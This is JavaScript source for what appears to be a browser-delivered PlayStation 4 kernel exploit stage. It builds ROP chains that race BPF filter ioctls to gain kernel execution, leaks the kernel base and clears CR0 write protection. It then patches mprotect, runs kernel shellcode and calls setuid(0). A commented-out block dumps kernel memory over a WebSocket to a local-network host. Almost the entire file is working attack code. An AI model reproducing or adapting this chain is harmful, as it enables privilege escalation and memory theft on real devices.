562 lines
No EOL
20 KiB
C
562 lines
No EOL
20 KiB
C
function stage4_()
|
|
{
|
|
function malloc(sz)
|
|
{
|
|
var backing = new Uint8Array(1000+sz);
|
|
window.nogc.push(backing);
|
|
var ptr = p.read8(p.leakval(backing).add32(0x10));
|
|
ptr.backing = backing;
|
|
return ptr;
|
|
}
|
|
function malloc32(sz)
|
|
{
|
|
var backing = new Uint8Array(0x1000+sz*4);
|
|
window.nogc.push(backing);
|
|
var ptr = p.read8(p.leakval(backing).add32(0x10));
|
|
ptr.backing = new Uint32Array(backing.buffer);
|
|
return ptr;
|
|
}
|
|
var strcpy_helper = new Uint8Array(0x1000);
|
|
var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
|
|
function strcpy(ptr, str)
|
|
{
|
|
p.write8(where_writeptr_strcpy, ptr);
|
|
for (var i = 0; i < str.length; i++)
|
|
strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
|
|
strcpy_helper[str.length] = 0;
|
|
}
|
|
|
|
|
|
var sysctlbyname = window.libKernelBase.add32(0xF290);
|
|
var sysreq = malloc32(0x10);
|
|
sysreq.backing[0] = 7;
|
|
sysreq.backing[1] = 0;
|
|
sysreq.backing[4] = 0x10;
|
|
|
|
var retv = malloc(0x100);
|
|
var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
|
|
|
|
|
|
var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
|
|
|
|
var str = "";
|
|
for (var i=0; i<0x10; i++)
|
|
{
|
|
str += zeroFill(retv.backing[i].toString(16),2) + " ";
|
|
}
|
|
|
|
// log("psid: " + str)
|
|
|
|
var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
|
|
var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
|
|
if (fd == (-1 >>> 0))
|
|
{
|
|
print("kexp failed: no bpf0");
|
|
}
|
|
// print("fd: " + fd);
|
|
|
|
var scratch = malloc(0x100);
|
|
var ifname = malloc(0x10);
|
|
strcpy(ifname, "wlan0");
|
|
p.syscall("ioctl", fd, 0x8020426c, ifname);
|
|
var ret = p.syscall("write", fd, scratch, 40);
|
|
if (ret.low == (-1 >>> 0))
|
|
{
|
|
strcpy(ifname, "eth0");
|
|
p.syscall("ioctl", fd, 0x8020426c, ifname);
|
|
var ret = p.syscall("write", fd, scratch, 40);
|
|
if (ret.low == (-1 >>> 0))
|
|
{
|
|
throw "kexp failed :(";
|
|
}
|
|
}
|
|
|
|
var assertcnt = 0;
|
|
var assert = function(x)
|
|
{
|
|
assertcnt++;
|
|
if (!x) throw "assertion " + assertcnt + " failed";
|
|
}
|
|
|
|
print("got it");
|
|
|
|
var bpf_valid = malloc32(0x4000);
|
|
var bpf_valid_u32 = bpf_valid.backing;
|
|
var bpf_valid_prog = malloc(0x40);
|
|
p.write8(bpf_valid_prog, 64)
|
|
p.write8(bpf_valid_prog.add32(8), bpf_valid)
|
|
|
|
for (var i = 0 ; i < 0x4000; )
|
|
{
|
|
bpf_valid_u32[i++] = 6; // BPF_RET
|
|
bpf_valid_u32[i++] = 0;
|
|
}
|
|
|
|
var bpf_invalid = malloc32(0x4000);
|
|
var bpf_invalid_u32 = bpf_invalid.backing;
|
|
var bpf_invalid_prog = malloc(0x40);
|
|
p.write8(bpf_invalid_prog, 64)
|
|
p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
|
|
|
|
for (var i = 0 ; i < 0x4000; )
|
|
{
|
|
bpf_invalid_u32[i++] = 4; // NOP
|
|
bpf_invalid_u32[i++] = 0;
|
|
}
|
|
|
|
var push_bpf = function(bpfbuf, cmd, k)
|
|
{
|
|
var i = bpfbuf.i;
|
|
if (!i) i=0;
|
|
bpfbuf[i*2] = cmd;
|
|
bpfbuf[i*2+1] = k;
|
|
bpfbuf.i = i+1;
|
|
}
|
|
|
|
push_bpf(bpf_invalid_u32, 5, 2); // jump
|
|
push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
|
|
bpf_invalid_u32.i = 16;
|
|
|
|
var bpf_write8imm = function(bpf, offset, imm)
|
|
{
|
|
if (!(imm instanceof int64))
|
|
{
|
|
imm = new int64(imm,0);
|
|
}
|
|
push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
|
|
push_bpf(bpf, 2, offset); // BPF_ST
|
|
push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
|
|
push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
|
|
}
|
|
|
|
var bpf_copy8 = function(bpf, offset_to, offset_from)
|
|
{
|
|
push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
|
|
push_bpf(bpf, 2, offset_to); // BPF_ST
|
|
push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
|
|
push_bpf(bpf, 2, offset_to+1); // BPF_ST
|
|
}
|
|
var bpf_add4 = function(bpf, offset, val)
|
|
{
|
|
push_bpf(bpf, 0x60, offset); // BPF_LD
|
|
push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
|
|
push_bpf(bpf, 2, offset); // BPF_ST
|
|
}
|
|
|
|
|
|
|
|
var krop_off_init = 0x1e;
|
|
var krop_off = krop_off_init;
|
|
var reset_krop = function() {
|
|
krop_off = krop_off_init;
|
|
bpf_invalid_u32.i = 16;
|
|
}
|
|
var push_krop = function(value)
|
|
{
|
|
bpf_write8imm(bpf_invalid_u32, krop_off, value);
|
|
krop_off += 2;
|
|
}
|
|
var push_krop_fromoff = function(value)
|
|
{
|
|
bpf_copy8(bpf_invalid_u32, krop_off, value);
|
|
krop_off += 2;
|
|
}
|
|
var finalize_krop = function(retv)
|
|
{
|
|
if(!retv) retv = 5;
|
|
push_bpf(bpf_invalid_u32, 6, retv); // return 5
|
|
}
|
|
|
|
var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
|
|
assert(rtv.low == 0);
|
|
|
|
rtv = p.syscall("write", fd, scratch, 40);
|
|
assert(rtv.low == (-1 >>> 0));
|
|
|
|
var kscratch = malloc32(0x80);
|
|
|
|
var kchain = new window.RopChain();
|
|
|
|
kchain.clear();
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.webKitBase.add32(0x3EBD0));
|
|
|
|
reset_krop();
|
|
//push_krop(window.gadgets["infloop"]); // 8
|
|
bpf_copy8(bpf_invalid_u32, 0, 0x1e);
|
|
push_krop(window.gadgets["pop rsi"]); // 0x10
|
|
push_krop_fromoff(0);
|
|
push_krop(window.gadgets["pop rsp"]);
|
|
push_krop(kchain.ropframeptr); // 8
|
|
|
|
finalize_krop(0);
|
|
|
|
var spawnthread = function(chain) {
|
|
|
|
/*
|
|
|
|
|
|
seg000:00000000007FA7D0 sub_7FA7D0 proc near ; DATA XREF: sub_7F8330+5Eo
|
|
seg000:00000000007FA7D0 55 push rbp
|
|
seg000:00000000007FA7D1 48 89 E5 mov rbp, rsp
|
|
seg000:00000000007FA7D4 41 56 push r14
|
|
seg000:00000000007FA7D6 53 push rbx
|
|
seg000:00000000007FA7D7 48 89 F3 mov rbx, rsi
|
|
seg000:00000000007FA7DA 49 89 FE mov r14, rdi
|
|
seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00 lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
|
|
|
|
|
|
-> xref of sub_7FA7D0:
|
|
|
|
|
|
seg000:00000000007F8380 48 8D 3D 28 D8 EC 00 lea rdi, a1_5_18_0 ; "1.5.18"
|
|
seg000:00000000007F8387 48 8D 15 82 23 00 00 lea rdx, sub_7FA710
|
|
seg000:00000000007F838E 48 8D 0D 3B 24 00 00 lea rcx, sub_7FA7D0
|
|
seg000:00000000007F8395 31 F6 xor esi, esi
|
|
seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0
|
|
seg000:00000000007F839F 66 41 C7 47 18 00 00 mov word ptr [r15+18h], 0
|
|
seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0
|
|
seg000:00000000007F83AE E8 8D 3C D3 00 call sub_152C040
|
|
|
|
-> code:
|
|
|
|
m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
|
|
|
|
|
|
decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
|
|
|
|
decodingFailed -> contains longjmp (which we want)
|
|
|
|
seg000:00000000007FA710 sub_7FA710 proc near ; DATA XREF: sub_7F8330+57o
|
|
seg000:00000000007FA710 ; sub_7F9DC0+2Eo
|
|
seg000:00000000007FA710 55 push rbp
|
|
seg000:00000000007FA711 48 89 E5 mov rbp, rsp
|
|
seg000:00000000007FA714 48 8B 35 5D B6 E5 02 mov rsi, cs:qword_3655D78
|
|
seg000:00000000007FA71B BA 60 00 00 00 mov edx, 60h ; '`'
|
|
seg000:00000000007FA720 E8 AB E6 D2 00 call sub_1528DD0
|
|
seg000:00000000007FA725 BE 01 00 00 00 mov esi, 1
|
|
seg000:00000000007FA72A 48 89 C7 mov rdi, rax
|
|
seg000:00000000007FA72D E8 26 6D 80 FF call sub_1458 < longjmp
|
|
seg000:00000000007FA732 0F 0B ud2
|
|
seg000:00000000007FA732 sub_7FA710 endp
|
|
|
|
|
|
*/
|
|
var longjmp = webKitBase.add32(0x1458);
|
|
|
|
|
|
// ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
|
|
/*
|
|
seg000:00000000001DD17F 48 8D 15 C9 38 4C 01 lea rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
|
|
seg000:00000000001DD186 31 F6 xor esi, esi
|
|
seg000:00000000001DD188 E8 B3 1B F9 00 call sub_116ED40 < createThread
|
|
*/
|
|
|
|
var createThread = window.webKitBase.add32(0x116ED40);
|
|
|
|
var contextp = malloc32(0x2000);
|
|
var contextz = contextp.backing;
|
|
contextz[0] = 1337;
|
|
|
|
var thread2 = new RopChain();
|
|
thread2.clear();
|
|
thread2.push(window.gadgets["ret"]); // nop
|
|
thread2.push(window.gadgets["ret"]); // nop
|
|
thread2.push(window.gadgets["ret"]); // nop
|
|
thread2.push(window.gadgets["ret"]); // nop
|
|
chain(thread2);
|
|
|
|
p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
|
|
p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
|
|
|
|
p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
|
|
|
|
window.nogc.push(contextz);
|
|
window.nogc.push(thread2);
|
|
|
|
return thread2;
|
|
}
|
|
|
|
var interrupt1 = 0;
|
|
var interrupt2 = 0;
|
|
// ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
|
|
spawnthread(function(thread2){
|
|
interrupt1 = thread2.ropframeptr;
|
|
thread2.push(window.gadgets["pop rdi"]); // pop rdi
|
|
thread2.push(fd); // what
|
|
thread2.push(window.gadgets["pop rsi"]); // pop rsi
|
|
thread2.push(0x8010427B); // what
|
|
thread2.push(window.gadgets["pop rdx"]); // pop rdx
|
|
thread2.push(bpf_valid_prog); // what
|
|
thread2.push(window.gadgets["pop rsp"]); // pop rdx
|
|
thread2.push(thread2.ropframeptr.add32(0x800)); // what
|
|
thread2.count = 0x100;
|
|
var cntr = thread2.count;
|
|
thread2.push(window.syscalls[54]); // ioctl
|
|
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
|
|
|
|
thread2.push(window.gadgets["pop rsp"]); // pop rdx
|
|
thread2.push(thread2.ropframeptr); // what
|
|
})
|
|
|
|
// ioctl() with invalid BPF program -> this will be executed when triggering bug
|
|
spawnthread(function(thread2){
|
|
interrupt2 = thread2.ropframeptr;
|
|
thread2.push(window.gadgets["pop rdi"]); // pop rdi
|
|
thread2.push(fd1); // what
|
|
thread2.push(window.gadgets["pop rsi"]); // pop rsi
|
|
thread2.push(0x8010427B); // what
|
|
thread2.push(window.gadgets["pop rdx"]); // pop rdx
|
|
thread2.push(bpf_invalid_prog); // what
|
|
thread2.push(window.gadgets["pop rsp"]); // pop rdx
|
|
thread2.push(thread2.ropframeptr.add32(0x800)); // what
|
|
thread2.count = 0x100;
|
|
var cntr = thread2.count;
|
|
thread2.push(window.syscalls[54]); // ioctl
|
|
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
|
|
|
|
thread2.push(window.gadgets["pop rsp"]); // pop rdx
|
|
thread2.push(thread2.ropframeptr); // what
|
|
})
|
|
|
|
function kernel_rop_run(cb)
|
|
{
|
|
kchain.clear();
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.gadgets["ret"]);
|
|
cb(kchain);
|
|
kchain.push(window.gadgets["pop rax"]);
|
|
kchain.push(0);
|
|
kchain.push(window.gadgets["ret"]);
|
|
kchain.push(window.webKitBase.add32(0x3EBD0));
|
|
while(1)
|
|
{
|
|
if (p.syscall(4, fd, scratch, 40).low == 40)
|
|
{
|
|
return p.read8(kscratch);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
function leak_kern_rip() {
|
|
return kernel_rop_run(function(kchain)
|
|
{
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(kscratch);
|
|
kchain.push(window.gadgets["mov [rdi], rsi"]);
|
|
});
|
|
}
|
|
|
|
function kernel_read8(addr) {
|
|
return kernel_rop_run(function(kchain)
|
|
{
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(addr);
|
|
kchain.push(window.webKitBase.add32(0x13A220)); // deref
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(kscratch);
|
|
kchain.push(window.gadgets["mov [rdi], rax"]);
|
|
});
|
|
}
|
|
function kernel_memcpy(to,from,size) {
|
|
return kernel_rop_run(function(kchain)
|
|
{
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(to);
|
|
kchain.push(window.gadgets["pop rsi"]);
|
|
kchain.push(from);
|
|
kchain.push(window.gadgets["pop rdx"]);
|
|
kchain.push(size);
|
|
kchain.push(window.gadgets["memcpy"]);
|
|
kchain.push(window.gadgets["mov [rdi], rax"]);
|
|
});
|
|
}
|
|
var kern_base = leak_kern_rip();
|
|
kern_base.low &= 0xffffc000;
|
|
kern_base.low -= 0x164000;
|
|
log("ay! " + kernel_read8(kern_base) + " " + kern_base);
|
|
|
|
/*
|
|
var chunksz = 0x40000;
|
|
var pagebuf = malloc(chunksz);
|
|
|
|
connection = new WebSocket('ws://192.168.0.125:8080');
|
|
connection.binaryType = "arraybuffer";
|
|
connection.onmessage = function() {
|
|
try {
|
|
kernel_memcpy(pagebuf, kern_base, chunksz);
|
|
connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
|
|
kern_base.add32inplace(chunksz);
|
|
}catch(e) {log(e);}
|
|
}
|
|
|
|
|
|
LOAD:FFFFFFFF9144CF70 0F 20 C0 mov rax, cr0
|
|
LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00 or rax, 5002Ah
|
|
LOAD:FFFFFFFF9144CF79 0F 22 C0 mov cr0, rax
|
|
LOAD:FFFFFFFF9144CF7C C3 retn
|
|
FFFFFFFF91562A58
|
|
*/
|
|
var getset_cr0 = kern_base.add32(0x280f70);
|
|
var set_cr0 = kern_base.add32(0x280f79);
|
|
|
|
function kernel_get_cr0() {
|
|
return kernel_rop_run(function(kchain)
|
|
{
|
|
kchain.push(getset_cr0);
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(kscratch);
|
|
kchain.push(window.gadgets["mov [rdi], rax"]);
|
|
});
|
|
}
|
|
|
|
var cr0val = kernel_get_cr0();
|
|
cr0val.low &= ((~(1 << 16)) >>> 0);
|
|
log("cr0: " + cr0val);
|
|
function kernel_write8_cr0(addr, val) {
|
|
return kernel_rop_run(function(kchain)
|
|
{
|
|
kchain.push(window.gadgets["pop rax"]);
|
|
kchain.push(cr0val);
|
|
kchain.push(set_cr0);
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(addr);
|
|
kchain.push(window.gadgets["pop rax"]);
|
|
kchain.push(val);
|
|
kchain.push(window.gadgets["mov [rdi], rax"]);
|
|
kchain.push(getset_cr0);
|
|
});
|
|
}
|
|
function kernel_fcall(addr, arg0, arg1) {
|
|
return kernel_rop_run(function(kchain)
|
|
{
|
|
if(arg0)
|
|
{
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(arg0);
|
|
}
|
|
if(arg1)
|
|
{
|
|
kchain.push(window.gadgets["pop rsi"]);
|
|
kchain.push(arg1);
|
|
}
|
|
kchain.push(addr);
|
|
|
|
kchain.push(window.gadgets["pop rdi"]);
|
|
kchain.push(kscratch);
|
|
kchain.push(window.gadgets["mov [rdi], rax"]);
|
|
});
|
|
}
|
|
|
|
var mprotect_patchloc = kern_base.add32(0x396a58);
|
|
var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
|
|
var mprotect_realbytes = mprotect_patchbytes;
|
|
|
|
log("patchbytes: " + mprotect_patchbytes);
|
|
mprotect_patchbytes.low = 0x90909090;
|
|
mprotect_patchbytes.hi &= 0xffff0000;
|
|
mprotect_patchbytes.hi |= 0x00009090;
|
|
|
|
|
|
var shellsize = window.shellcode.byteLength;
|
|
shellsize += 0x4000;
|
|
shellsize &= 0xffffc000;
|
|
|
|
var shellscratch_to = malloc32((0x10000 + shellsize)/4);
|
|
|
|
var origin_to = shellscratch_to.low;
|
|
shellscratch_to.low &= 0xffffc000;
|
|
shellscratch_to.low += 0x8000;
|
|
var offset = (shellscratch_to.low - origin_to) / 4;
|
|
|
|
for (var i=0; i < window.shellcode.length; i++)
|
|
{
|
|
shellscratch_to.backing[i+offset] = window.shellcode[i];
|
|
}
|
|
|
|
|
|
kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
|
|
var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
|
|
kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
|
|
if (mapz.low != 0) throw "mprot fail!";
|
|
|
|
faultme = shellscratch_to.add32(0x0);
|
|
|
|
for (var i=0; i < window.shellcode.length; i+= 0x1000)
|
|
{
|
|
var bck = p.read8(faultme);
|
|
p.write8(faultme, 0xc3)
|
|
p.fcall(faultme); // test faulting
|
|
p.write8(faultme, bck)
|
|
}
|
|
p.syscall("mlock", shellscratch_to, shellsize);
|
|
var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));
|
|
|
|
var zarguments = malloc32(0x1000);
|
|
p.write8(zarguments, kern_base);
|
|
p.write8(zarguments.add32(8), fd_kcall);
|
|
p.write8(zarguments.add32(16), interrupt1);
|
|
p.write8(zarguments.add32(24), interrupt2);
|
|
p.write8(zarguments.add32(32), window.syscalls[431]);
|
|
p.write8(zarguments.add32(40), window.syscalls[591]);
|
|
p.write8(zarguments.add32(48), window.syscalls[594]);
|
|
p.write8(zarguments.add32(56), pyld_buf); // pyld
|
|
p.write8(zarguments.add32(64), window.pyldpoint);
|
|
p.write8(zarguments.add32(72), window.pyld.byteLength);
|
|
|
|
var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
|
|
|
|
log(p.read8(shellscratch_to.add32(window.entrypoint)));
|
|
log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
|
|
p.syscall("setuid", 0);
|
|
log("uid: " + p.syscall("getuid"));
|
|
alert("enter user");
|
|
log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));
|
|
|
|
var lsscrtch32 = new Uint32Array(0x400);
|
|
var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
|
|
window.ls = function(path)
|
|
{
|
|
var sep = "/"
|
|
if (path[path.length-1]=="/") sep = "";
|
|
|
|
var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
|
|
if (fd == (-1 >>> 0))
|
|
{
|
|
print("open("+path+"): -1");
|
|
return;
|
|
}
|
|
|
|
alert("getdenv");
|
|
|
|
print("Directory listing for " +path+":");
|
|
var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
|
|
if (total == (-1 >>> 0))
|
|
{
|
|
print("getdents("+path+"): -1");
|
|
return;
|
|
}
|
|
|
|
alert("got denv");
|
|
|
|
var offset = 0;
|
|
while (offset < total)
|
|
{
|
|
var cur = lsscrtch.add32(offset);
|
|
var reclen = p.read4(cur.add32(4)) & 0xFFFF;
|
|
var filepath = path + sep + p.readstr(cur.add32(8));
|
|
print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
|
|
offset += reclen;
|
|
if(!reclen) break;
|
|
}
|
|
p.syscall("close", fd);
|
|
}
|
|
print("<a href=javascript:window.ls('/');>ls /</a>");
|
|
|
|
} |